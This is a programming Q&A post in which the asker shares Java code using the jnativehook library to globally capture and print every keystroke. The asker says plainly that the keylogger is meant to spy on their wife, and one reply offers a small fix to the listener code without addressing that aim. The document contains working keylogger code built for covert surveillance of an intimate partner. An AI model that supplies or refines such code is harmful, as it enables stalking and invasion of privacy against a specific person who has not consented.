Autistic Chili Dog
Autistic Chili Dog

Reputation: 1

Can't disable NativeMouseListener in jnativehook-2.1.0.jar

So as the title suggests, I'm trying to disable the mouse listener within jnativehook-2.1.0 and it just won't work, the reason I'm making a keylogger is to spy on my wife.

So here's the code that I'm using:

package main;
import java.lang.System.Logger.Level;
import javax.security.auth.login.LoginException;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;
import org.jnativehook.mouse.NativeMouseMotionListener;
import org.jnativehook.mouse.NativeMouseWheelEvent;
import org.jnativehook.mouse.NativeMouseWheelListener;
import org.slf4j.Logger;

public class Main implements NativeKeyListener,
                             NativeMouseListener,
                             NativeMouseMotionListener,
                             NativeMouseWheelListener {

    public static void main(String[] args)throws  NativeHookException {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new Main());

        GlobalScreen.removeNativeMouseListener(new Main());
        GlobalScreen.removeNativeMouseMotionListener(new Main());
        GlobalScreen.removeNativeMouseWheelListener(new Main());
    }

    @Override
    public void nativeKeyPressed(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeKeyReleased(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeKeyTyped(NativeKeyEvent e) {
        System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()));
    }

    @Override
    public void nativeMouseClicked(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMousePressed(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseReleased(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseDragged(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseMoved(NativeMouseEvent arg0) {
        // TODO Auto-generated method stub
    }

    @Override
    public void nativeMouseWheelMoved(NativeMouseWheelEvent arg0) {
        // TODO Auto-generated method stub
    }
}

Could really use the help, because I've disabled the listeners but it still doesn't remove that specified output out of the console.

Upvotes: 0

Views: 192

Answers (1)

Eugene Lapin
Eugene Lapin

Reputation: 1

  public static void main(String[] args)throws  NativeHookException {
    GlobalScreen.registerNativeHook();
    Main main = new Main();
    GlobalScreen.getInstance().addNativeKeyListener(main);// add key output
    GlobalScreen.getInstance().removeNativeKeyListener(main);//disable key output
}

Upvotes: 0

Related Questions